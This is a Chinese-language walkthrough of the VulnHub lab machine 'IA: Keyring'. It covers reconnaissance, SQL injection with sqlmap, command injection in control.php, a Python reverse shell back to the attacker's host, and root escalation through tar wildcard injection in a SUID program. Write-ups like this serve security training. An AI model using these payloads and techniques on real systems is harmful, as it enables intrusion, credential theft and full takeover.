No.26 Keyring
靶机信息
下载地址:
https://www.vulnhub.com/entry/ia-keyring-101,718/
靶场: VulnHub.com
靶机名称: IA: Keyring (1.0.1)
难度: 简单-中等
发布时间: 2021年7月30日
目标: 2个flag
实验环境
攻击机:VMware kali 192.168.7.3
靶机:Vbox linux IP自动获取
信息收集
扫描主机
扫描局域网内的靶机IP地址
sudo nmap -sP 192.168.7.1/24
扫描到主机地址为192.168.7.157
扫描端口
扫描靶机开放的服务端口
sudo nmap -sC -sV -p- 192.168.7.158 -oN keyring.nmap
扫描到2个开放端口22(SSH)和80(HTTP)
Web渗透
访问80端口
http://192.168.7.158
打开首页是注册帐号页面,注册个帐号登录进去(注册好登录时不要在用户名和密码处填内容,直接点Login按钮会跳转到登录页面再输入帐号密码登录)
登录成功,在control.php页面上看到提示,HPP参数污染
HTTP Parameter Pollution(HPP参数污染)
简单介绍:
HTTP Parameter Pollution即HTTP参数污染,简称HPP。是web容器处理HTTP参数的一种方式。
HTTP 参数污染 (HPP) 是一种 Web 攻击规避技术,允许攻击者通过更改 HTTP 请求以操纵或搜索隐藏信息。这种规避技术基于在具有相同名称的参数的多个实例之间拆分攻击向量。某些环境通过从请求中连接的参数名称的所有实例中获取的值来处理此类请求。
HTTP Parameter Pollution即HTTP参数污染,简称HPP。是web容器处理HTTP参数的一种方式。
HTTP 参数污染 (HPP) 是一种 Web 攻击规避技术,允许攻击者通过更改 HTTP 请求以操纵或搜索隐藏信息。这种规避技术基于在具有相同名称的参数的多个实例之间拆分攻击向量。某些环境通过从请求中连接的参数名称的所有实例中获取的值来处理此类请求。
例子:
HttpPar.php的源码如下:
<?php
$str=$_REQUEST['str'];
echo $str;
?>
这段代码,接收HTTP参数中str的值,并显示在页面中。我们访问http://www.xxx.com/HttpPar.php?str=hello,显示结果将为hello。
在HTTP请求中,使用&可以连接不同的参数,如:str=hello&id=1。但是此时如果参数重复:str=hello&str=world&str=xxser,那么此时php在取值时只输出最后一个参数,输出则为xxser。这就是HTTP参数污染。
HPP参数污染可以SQL注入和XSS利用,更多被用于绕waf
HPP参数污染简单了解了,便是我们还不知道参数是什么,先做个目录扫描找找其他提示信息
目录扫描
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.7.158 -x php,html,txt
扫描到一个history.php文件,访问一下
http://192.168.7.158/history.php
打开后是个空白页面,估计这里要加参数才能访问,当退出登录用户再访问这个页面时跳出了提示
提示找不到用户,重新登录用user做参数试试
http://192.168.7.158/history.php?user=user1234
当我用自己注册的用户名来测试时报出一些内容,改成admin试试
http://192.168.7.158/history.php?user=admin
拿到一个链接https://github.com/cyberbot75/keyring
访问是存放网站源码的仓库,在control.php文件中发现system函数可以直接利用,测试一下
http://192.168.7.158/control.php?cmdcntr=id
SQL注入攻击
没有成功,看源码也没有发现问题,又见到HPP参数污染的提示,并且拿到了user参数,去做个sql注入试试
查询库名
sqlmap -u http://192.168.7.158/history.php?user=user1234 --cookie='PHPSESSID=0ce7psagp018qtd5gndrsdsl8o' --batch --dbs
查询表名
sqlmap -u http://192.168.7.158/history.php?user=user1234 --cookie='PHPSESSID=0ce7psagp018qtd5gndrsdsl8o' --batch -D users --tables
查询表内容
sqlmap -u http://192.168.7.158/history.php?user=user1234 --cookie='PHPSESSID=0ce7psagp018qtd5gndrsdsl8o' --batch -D users -T details --dump
查询到管理员帐号admin和密码myadmin#p4szw0r4d,使用admin帐号登录平台并用control.php文件拿到cmdcntr权限
http://192.168.7.158/control.php?cmdcntr=id
成功执行命令,我们反弹个shell到kali攻击机上
kali攻击机监听端口
nc -lvvp 4444
执行payload
http://192.168.7.158/control.php?cmdcntr=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.7.3",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
成功反弹shell,让我们找一下提文件,先切换到bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
提权
cat /etc/passwd
这里有个john用户,之前sql注入里也有一个john用户试试密码是否相同,切换到john用户密码是Sup3r S 3 c r 3 t S3cr3t S3cr3tPasSW0RD
su john
Sup3r$S3cr3t$PasSW0RD
id
切换john用户成功,这里的lxd可以提权,先进入用户目录看一下
cd /home/john
ls -al
找到user.txt
cat user.txt
还有一个compress程序,看一下是什么文件
file compress
suid,把他下载下来看看内容,靶机开启http服务
python3 -m http.server
kali攻击机下载compress文件,查看文件内容
wget http://192.168.7.158:8000/compress
strings compress
compress会执行tar程序,tar可以利用通配符注入来提权,
payload
echo "/bin/bash" > exp.sh
echo "" > "--checkpoint-action=exec=sh exp.sh"
echo "" > --checkpoint=1
./compress
id
成功拿到root权限,查看root.txt
cd /root
ls
cat root.txt
拿到root.txt,游戏结束。喜欢打靶的小伙伴可以微信搜索“伏波路上学安全”公众号、或扫描下方二维码关注获取更多打靶文章。